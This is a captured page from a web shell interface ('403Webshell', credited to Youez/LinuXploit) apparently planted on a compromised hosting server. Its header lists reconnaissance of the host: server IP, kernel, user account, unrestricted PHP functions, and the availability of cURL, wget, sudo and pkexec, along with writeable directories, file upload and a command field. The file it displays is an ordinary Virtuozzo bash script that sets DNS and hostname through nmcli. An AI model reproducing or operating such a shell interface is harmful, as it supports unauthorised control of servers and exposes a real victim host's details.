403Webshell
Server IP : 68.178.202.69  /  Your IP : 216.73.216.122
Web Server : Apache
System : Linux 69.202.178.68.host.secureserver.net 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
User : ikioworld ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/vz-tools/tools/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/vz-tools/tools/scripts/nm-set_dns.sh
#!/bin/bash
# Copyright (c) 2018 Virtuozzo International GmbH.  All rights reserved.
#
# This script sets up resolver inside VM controlled with NM
#
# arguments: <NAMESERVER> <SEARCHDOMAIN> <HOSTNAME>
#   <SEARCHDOMAIN>
#       Sets search domain(s).
#   <NAMESERVER>
#       Sets name server(s).

prog="$0"
path="${prog%/*}"
funcs="$path/functions"

if [ -f "$funcs" ] ; then
	. $funcs
else
	echo "Program $0"
	echo "'$funcs' was not found"
	exit 1
fi

ETH_DEV=$1
ETH_MAC=$2

NAMESERVER="$3"
SEARCHDOMAIN="$4"
HOSTNAME="$5"

function set_dns()
{
	local errors=0
	local nameservers="$1"
	[ -z "${nameservers}" ] && return 0

	local uuid=`nm_check_and_create $ETH_DEV $ETH_MAC`
	[ -z "${uuid}" ] && return 0

	local ns4=""
	local ns6=""
	for ip in ${nameservers}; do
		if is_ipv6 ${ip}; then
			[ -z "${ns6}" ] || ns6="${ns6},"
			ns6="${ns6}${ip}"
		else
			[ -z "${ns4}" ] || ns4="${ns4},"
			ns4="${ns4}${ip}"
		fi
	done

	call_nmcli c modify $uuid ipv4.dns "${ns4}"
	call_nmcli c modify $uuid ipv6.dns "${ns6}"

	call_nmcli c up ${uuid}

	return $errors
}

function set_domains()
{
	local errors=0
	local domains="$1"

	# nothing to do
	[ -z "${domains}" ] && return 0

	# value for empty search list
	[ "${domains}" = "remove" ] && domains=""

	domains=`echo "${domains}" | tr -s ' ' ','`

	LC_ALL=C nmcli -t c show --active | cut -d: -f2 | \
	while read uuid
	do
		call_nmcli c modify ${uuid} ipv4.dns-search "${domains}"
		call_nmcli c up ${uuid}
	done

	return $errors
}
function set_hostname()
{
	local errors=0
	local hostname="$1"

	# nothing to do
	[ -z "${hostname}" ] && return 0

	call_nmcli general hostname "${hostname}"

	return $errors
}

set_dns "${NAMESERVER}"
set_domains "${SEARCHDOMAIN}"
set_hostname "${HOSTNAME}"

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit